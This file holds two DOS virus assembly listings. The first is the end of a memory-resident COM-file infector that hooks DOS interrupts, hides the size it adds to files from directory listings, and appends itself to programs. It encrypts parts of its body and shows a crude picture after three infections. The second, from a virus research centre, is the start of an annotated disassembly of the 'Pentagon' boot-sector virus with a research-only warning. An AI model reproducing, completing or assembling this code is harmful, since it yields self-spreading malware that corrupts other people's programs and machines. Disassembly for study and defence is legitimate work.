push bx
push es ;undocumented get FCB
mov ah,51h ;location
int 21h
mov es,bx ;get info from FCB
cmp bx,es:[16h]
jnz not_inf
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;get DTA
int 21h
pop ax
inc al ;Check for extended FCB
jnz normal_fcb
add bx,7h
normal_fcb:
mov ax,es:[bx+17h]
and ax,1fh
xor al,01h ;check for 2 seconds
jnz not_inf
and byte ptr es:[bx+17h],0e0h ;subtract virus size
sub es:[bx+1dh],(vend-vstart)
sbb es:[bx+1fh],ax
not_inf:pop es
pop bx
pop ax
dir_error:
iret ;back to caller
;***************************************************************************
;***************************************************************************
;* PICTURE TO DISPLAY
;***************************************************************************
data DB 'Ü',4,'Ü',4,'Ü',4,'Ü',4,' ',4,' ',15,'Ü',4,' ',15,' '
DB 15,' ',15,' ',15,'Ü',4,'Ü',4,'Ü',4,'Ü',4,' ',15,'Ü',4
DB 'Ü',4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Ü',4
DB 'Ü',4,' ',15,' ',15,'Ü',4,' ',15,' ',15,' ',15,' ',15
DB ' ',15,'Ü',4,' ',15,'Ü',4,'Ü',4,'Ü',4,'Ü',4,'Û',64,'Û'
DB 64,' ',15,' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15
DB ' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',64,' ',15,' ',15,' ',15
DB ' ',64,'Û',64,' ',64,' ',15,' ',15,' ',15,' ',15,' ',64
DB ' ',15,' ',15,' ',64,' ',15,' ',15,' ',64,'Ü',4,' ',15
DB ' ',15,' ',15,' ',15,'Ü',4,' ',64,' ',4,' ',15,' ',15
DB 'Û',4,'Û',4,'Ü',4,' ',15,'Û',64,' ',64,'Û',4,' ',15,'Û'
DB 4,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' '
DB 0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' ',15,' ',0
DB ' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',64,'Ü',64,'Ü',64,'Ü',64,'ß',64,'Û',64,' '
DB 64,' ',15,' ',15,' ',15,' ',15,' ',64,' ',15,' ',15,' '
DB 64,' ',15,' ',15,' ',15,' ',64,'Ü',4,' ',64,' ',64,'ß'
DB 64,' ',64,' ',4,' ',15,' ',15,' ',15,'Û',4,' ',15,'Û'
DB 4,'Ü',4,'Û',4,' ',15,'Û',4,' ',15,'Û',4,'Ü',64,'Ü',64
DB 'Û',64,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15,' '
DB 0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',64,'Ü',4
DB 'Ü',4,'Ü',4,'Ü',64,' ',15,' ',64,'Ü',4,'Ü',4,'Ü',4,' '
DB 15,' ',64,'Ü',4,'Ü',4,' ',64,' ',15,' ',15,' ',15,' '
DB 15,' ',64,' ',15,' ',15,' ',64,' ',15,' ',15,' ',15,' '
DB 15,' ',15,'Û',4,' ',15,' ',15,'ß',4,' ',15,' ',15,'Û'
DB 4,' ',15,'Û',4,'Ü',4,'Ü',4,'Ü',4,'Û',64,'Û',64,' ',15
DB ' ',0,' ',0,' ',0,' ',15,' ',0,' ',15,' ',15,' ',15,' '
DB 15,' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Û',96,'ß',96
DB 'ß',96,'ß',96,'Û',96,'Û',96,'Û',96,'Û',96,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',0,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
DB ' ',103,' ',103,'±',96,'°',96,'°',96,' ',96,'ß',96,'Û'
DB 96,'Û',96,'Û',96,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'Ü'
DB 15,'Ü',15,'Ü',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',96,' ',96,' ',96
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
DB ' ',96,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,' ',103
DB ' ',103,' ',103,' ',103,' ',103,' ',103,' ',103,'±',96
DB '±',96,'°',96,'°',96,' ',96,'Û',96,'Û',96,'Ü',15,'Ü',15
DB 'Ü',15,'Û',15,'Û',15,'Û',15,' ',15,' ',15,' ',15,' ',15
DB 'Û',15,'Û',15,'Û',15,'Û',15,'Û',15,'Û',15,'Û',15,' ',15
DB ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',96,' ',96,' ',96,' ',96,' ',103,' ',103,'Ä',96
DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96
DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96
DB 'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96,'Ä',96
DB '±',96,'±',96,'°',96,'°',96,' ',96,'Û',96,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,'ß',15,'ß',15,'ß',15,' ',15,' ',15
DB ' ',0,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',96,' ',103,' ',103,' ',96,' ',96,' ',103,'ß',96
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,'Ü',96,'Ü',96,'Ü',96,'Û',96,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',103,' ',103,' ',103,'°',96,'°',96,'°',96,' '
DB 103,'ß',96,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',103,' ',103,'°',96,'°',96,'°',96,'°',96,' ',103
DB 'Ü',96,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',103,'°',96,'°',96,'°',96,'°',96,' ',103,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,'Ü',96,' ',103,' ',103,' ',103,'Ü',96,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',0,' ',0,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
DB 0,' ',0,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
DB 0,' ',0,' ',0,' ',0,' ',0,' ',0,' '
doggie DB 15,'Y',15,'O',15,'U',15,'R',15,' ',15,'F',15,'I',15,'L',15,'E'
DB 15,' ',15,'H',15,'A',15,'S',15,' ',15,'J',15,'U',15,'S',15,'T'
DB 15,' ',15,'B',15,'E',15,' ',15,'P',15,'E',15,'N',15,'I',15,'S'
DB 15,'`',15,'I',15,'Z',15,'E',15,'D',15,' ',15,'C',15,'O',15,'M'
DB 15,'P',15,'L',15,'E',15,'M',15,'E',15,'N',15,'T',15,'S',15,' '
DB 15,'O',15,'F',15,' ',15,' ',15,' '
DB 0,' ',0,' ',15,' ',15,' ',15,' '
DB 03,'[',03,'Y',03,'A',03,'M'
DB 03,']',03,'/',03,'9',03,'2'
DB 03,' ',02,'-',04,'S',04,'.',04,'G',04,'R',04,'I',04,'S',04,'S'
DB 04,' ',0,' ',0,' ',0,' ',0,' ',0
DB ' ',0,' ',0,' ',0,' ',0,' ',0
;Actual program begins here
exec:
push ax
push bx
push cx
push dx
push di
push si
push ds
push es
mov ax,4300h ;get file attributes
int 21h
jc long_cock
and cl,0feh ;make it read/write
mov ax,4301h
int 21h
jc long_cock
infect:
mov ax,3d02h
int 21h
jc long_cock
mov bx,ax
push ds
push cs
pop ds
mov ah,3fh
mov cx,5h
mov dx,(buffer-vstart) ;load in the first 5 bytes
int 21h
jc long_cock
cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
je long_cock ;EXE
cmp word ptr cs:[(buffer-vstart)+3],42F2h
je long_cock ;Check to see if F242 tag
;if so then its infected
jmp next
long_cock:
jmp cocker2
next:
mov ax,5700h
int 21h
mov word ptr cs:[(old_time-vstart)],cx ;get the files time
mov word ptr cs:[(old_date-vstart)],dx ;and date
mov ax,4202h ;move file pointer to end
xor cx,cx ;top get the files size
xor dx,dx
int 21h
jc long_cock
mov cx,ax
sub cx,3 ;sub 3 form jump at begining
mov word ptr cs:[(jump_add+1-vstart)],cx;save length in jmp commmand
mov cx,(old_21-old_8) ;number of bytes to encrypt before writing
mov si,(old_8-vstart)
call crypter
mov cx,(exec-data)
mov si,(data-vstart)
call crypter
mov ah,byte ptr cs:[(infect_times-vstart)]
mov byte ptr cs:[(infect_times-vstart)],00h
push ax
mov cx,(vend-vstart) ;write the virus to the end
mov ah,40h ;of the file
xor dx,dx
int 21h
jc cocker
pop ax
inc ah
mov byte ptr cs:[(infect_times-vstart)],ah ;counter
mov cx,(exec-data)
mov si,(data-vstart) ;decrypt data
call crypter
mov cx,(old_21-old_8) ;number of bytes to decrypt after writing
mov si,(old_8-vstart)
call crypter
mov ax,4200h ;move file pointer to the
xor cx,cx ;begining to write the JMP
xor dx,dx
int 21h
mov cx,5
mov ah,40h ;write the JMP top the file
mov dx,(jump_add-vstart)
int 21h
jc cocker
mov ax,5701h
mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date
mov word ptr dx,cs:[(old_date-vstart)]
and cl,0e0H
inc cl ;change seconds to 2
int 21h
mov ah,3eh
int 21h
jmp show_dick
cocker: jmp cocker2
show_dick:
cmp byte ptr cs:[(infect_times-vstart)],03h
jl cocker
mov ah,0fh ;get current video mode
int 010h
cmp al,7 ;is it a monochrome mode?
jz mono ;yes
mov ax,0B800h ;color text video segment
jmp SHORT doit
mono: mov ax, 0B000h ;monochrome text video segment
doit: mov es,ax
push cs
pop ds
mov si,data-vstart ;load destination offset
xor di,di ;clear destination index counter
mov cx,(exec-data+1)/2
rep movsw ;write to video memory
mov ah,02h ;hide cursor
mov bh,0 ;assume video page 0
mov dx,1A00h ;moves cursor past bottom of screen
int 010h
lup: mov ah, 01h
int 016h
jz lup
mov ah,0
int 016h
;Clear the screen
mov ah, 6 ;function 6 (scroll window up)
mov al, 0 ;blank entire screen
mov bh, 7 ;attribute to use
mov ch, 0 ;starting row
mov cl, 0 ;starting column
mov dh, 25 ;ending row
mov dl, 80 ;ending column
int 10h ;call interrupt 10h
mov ah,02h ;puts cursor back where it belongs
mov bh,0 ;assume video page 0
mov dx,0
int 010h
cocker2:pop ds
pop es
pop ds
pop si ;go back to old int 21
pop di
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[(old_21-vstart)]
old_date dw 0
old_time dw 0
buffer: db 0cdh,20h,00
buffer2 db 0,0
infect_times: DB 0h
jump_add: db 0E9h,00,00,0F2h,42h;
;***********************************************************************
;***********************************************************************
;***********************************************************************
;***********************************************************************
;***********************************************************************
exit2: jmp exit
crypter:
push ax ;Encryptor Routine
loo: mov ah,byte ptr cs:[si] ;move byte into ah
xor ah,0AAh ;Xor it
mov byte ptr cs:[si],ah ;write it back
inc si
loop loo
pop ax
ret
load: mov ax,0f242h ; Check to see if we are
int 21h ; allready resident
cmp bx,0242fh ; looking for f242 tag
je exit2
mov cx,(old_21-old_9) ;number of bytes to decrypt
mov si,offset old_9
add si,bp
call crypter
mov cx,(exec-data) ;number of bytes to decrypt
mov si,offset data
add si,bp
call crypter
dec_here:
push cs
pop ds
mov ah,49h ;Release current Memory block
int 21h
mov ah,48h ;Request Hugh size of memory
mov bx,0ffffh ;returns biggest size
int 21h
mov ah,4ah
sub bx,(vend-vstart+15)/16+1 ;subtract virus size
jc exit2
int 21h
mov ah,48h
mov bx,(vend-vstart+15)/16 ;request last XXX pages
int 21h ;allocate it to virus
jc exit2
dec ax
push es
mov es,ax
mov byte ptr es:[0],'Z' ;make DOS the owner
mov word ptr es:[1],8
mov word ptr es:[3],(vend-vstart+15)/16 ;put size here
sub word ptr es:[12h],(vend-vstart+15)/16 ;sub size from current
;memory
inc ax
lea si,[bp+offset vstart] ;copy it to new memory block
xor di,di
mov es,ax
mov cx,(vend-vstart+5)/2
cld
rep movsw
xor ax,ax
mov ds,ax
push ds
lds ax,ds:[21h*4] ;swap vectors manually
mov word ptr es:[old_21-vstart],ax
mov word ptr es:[old_21-vstart+2],ds
pop ds
mov word ptr ds:[21h*4],(new_21-vstart)
mov ds:[21h*4+2],es
xor ax,ax
mov ds,ax
push ds
lds ax,ds:[9h*4]
mov word ptr es:[old_9-vstart],ax
mov word ptr es:[old_9-vstart+2],ds
pop ds
mov word ptr ds:[9h*4],(new_9-vstart)
mov ds:[9h*4+2],es
xor ax,ax
mov ds,ax
push ds
lds ax,ds:[8h*4]
mov word ptr es:[old_8-vstart],ax
mov word ptr es:[old_8-vstart+2],ds
pop ds
mov word ptr ds:[8h*4],(new_8-vstart)
mov ds:[8h*4+2],es
push cs
pop ds
exit:
push cs
pop es
; now got to copy it back......
mov cx,5
mov si,offset buffer ;copy it back and run original
add si,bp ;program
mov di,100h
repne movsb
mov bp,100h
jmp bp
vend equ $
seg_a ends
end start
@@ -0,0 +1,989 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
page 65,132
title The 'Pentagon' Virus
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'Pentagon' Virus º
; º Disassembled by Joe Hirst, March 1989 º
; º º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The disassembly has been tested by re-assembly using MASM 5.0.
; The code section between offsets 59H and C4H (which is normally
; encrypted) appears to have been separately assemblied using A86.
; Virus is possibly an honorary term, at least for this sample,
; as all attempts to run it have so far failed.
; This virus consists of a boot sector and two files.
; The boot sector is a normal PCDOS 3.20 boot sector with three
; changes:
; 1. The OEM name 'IBM' has been changed to 'HAL'.
; 2. The first part of the virus code overwrites 036H to 0C5H.
; 3. 100H-122H has been overwritten by a character string.
; The name of the first file is the hex character 0F9H. This file
; contains the rest of the virus code followed by the original boot
; sector.
; The name of the second file is PENTAGON.TXT. This file does not
; appear to be used in any way or contain any meaningful data.
; Both files are created without the aid of DOS, and the first
; file is accessed by its stored absolute location.
; Four different sections of the virus are separately encrypted:
; 1. 004AH - 004BH, key 0ABCDH - load decryption key
; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector.
; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message.
; 4. 0800H - 09FFH, key 0FCH - the original boot sector.
SEG70 SEGMENT AT 70H
ASSUME CS:SEG70
EXIT:
SEG70 ENDS
BOOT SEGMENT AT 0
ORG 413H
BW0413 DW ?
ORG 417H
BB0417 DB ?
ORG 51CH
BW051C DW ?
ORG 7C0BH
DW7C0B DW ?
ORG 7C18H
DW7C18 DW ?
DW7C1A DW ?
ORG 7C2AH
DB7C2A DB ?
ORG 7C37H
DW7C37 DW ?
DW7C39 DW ?
DB7C3B DB ?
DB7C3C DB ?
DW7C3D DW ?
ORG 7DB7H
DB7DB7 DB ?
ORG 7DFDH
DB7DFD DB ?
ORG 7E00H
DW7E00 DW ? ; DW008F - Track and sector of rest of code
DW7E02 DW ? ; DW0091 - Head and drive of rest of code
DW7E04 DW ? ; DW0093 - Segment address of virus
BOOT ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE
IF1
ORG 206H
BP0095X LABEL NEAR
ENDIF
ORG 0
START: JMP BP0036
DB 'HAL 3.2'
DW 512 ; BPB001 - Bytes per sector
DB 2 ; BPB002 - Sectors per allocation unit
DW 1 ; BPB003 - Reserved sectors
DB 2 ; BPB004 - Number of FATs
DW 112 ; BPB005 - Number of root dir entries
DW 720 ; BPB006 - Number of sectors
DB 0FDH ; BPB007 - Media Descriptor
DW 2 ; BPB008 - Number of sectors per FAT
DW 9 ; BPB009 - Sectors per track
DW 2 ; BPB010 - Number of heads
DW 0 ; BPB011 - Number of hidden sectors (low order)
BPB012 DW 0 ; Number of hidden sectors (high order)
DB 10 DUP (0)
HEADNO DB 0
; Interrupt 30 (1EH) - Disk parameter table
DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0)
DB 1, 0
BP0036: CLI
MOV AX,CS ; \ Set SS to CS
MOV SS,AX ; /
MOV SP,0F000H ; Set stack pointer
MOV DS,AX ; Set DS to CS
STI
MOV BP,OFFSET BP0044+7C00H
BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction
NOP
DW004A EQU THIS WORD
MOV DH,0FCH ; Decryption key
MOV BP,OFFSET BP0059+7C00H ; Decryption start address
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
BP0052: XOR [BP+00],DH ; Decrypt a byte
INC BP ; Next byte
LOOP BP0052 ; Repeat for all of it
NOP
BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction
MOV AX,BW0413 ; Get RAM size in K
SUB AX,0005 ; Subtract five K
MOV BW0413,AX ; Replace amended RAM size
MOV CL,06 ; Bits to move
SHL AX,CL ; Convert to segment address
MOV DW0093+7C00H,AX ; Save segment address
NOP
MOV ES,AX ; Set ES to this segment
XOR DI,DI ; Move to start
MOV SI,7C00H ; From start of boot sector buffer
MOV CX,0200H ; Move one sector
CLD
REPZ MOVSB ; Move sector to high-core
NOP
; Move next section of code to a safe area
MOV DI,200H+7C00H
MOV SI,OFFSET DW008F+7C00H
MOV CX,OFFSET DB00C5-DW008F ; Length to move
PUSH DS ; \ Set ES to DS
POP ES ; /
CLD
REPZ MOVSB ; Copy program section
JMP BP0095X ; This is BP0095 in new location
DW008F DW 0B02H ; Track and sector of rest of code
DW0091 DW 100H ; Head and drive of rest of code
DW0093 DW 9EC0H ; Segment address of virus
BP0095: MOV CX,0004 ; Number of retries
BP0098: PUSH CX
MOV CX,DW7E00 ; Get track and sector number
MOV DX,DW7E02 ; Get head and drive number
MOV ES,DW7E04 ; Get buffer segment address
MOV BX,0200H ; Buffer offset
MOV AX,0201H ; Read one sector
INT 13H ; Disk I/O
JNB BP00B8 ; Branch if no error
POP CX
XOR AH,AH ; Reset floppy disk sub-system
INT 13H ; Disk I/O
LOOP BP0098 ; Retry
INT 18H ; Drop into basic
BP00B8: POP CX
MOV AX,OFFSET DW7E04 ; Address segment address
CLI
MOV SP,AX ; Point SP at segment address
STI
MOV AX,0200H ; \ Address of second section
PUSH AX ; /
RETF
DB00C5 DB 50H
; The rest of this sector is a normal PCDOS 3.20 boot sector
; which has been overwritten at 100H-122H by a character string
DB 61H, 0
XOR AH,AH
INT 16H
POP SI
POP DS
POP [SI]
DW00D0 DW 0B06H ; Track and sector numbers
DW00D2 DW 0100H ; Head and drive numbers
DB 19H
MOV SI,OFFSET DB7DB7
JMP NEAR PTR DB00C5
MOV AX,BW051C
XOR DX,DX
DIV DW7C0B
INC AL
MOV DB7C3C,AL
MOV AX,DW7C37
MOV DW7C3D,AX
MOV BX,0700H
MOV AX,DW7C37
CALL BP0137
MOV AX,DW7C18
SUB AL,DB7C3B
INC AX
PUSH AX
DB '(c) 1987 The Pentagon, Zorell Group'
DB 7CH
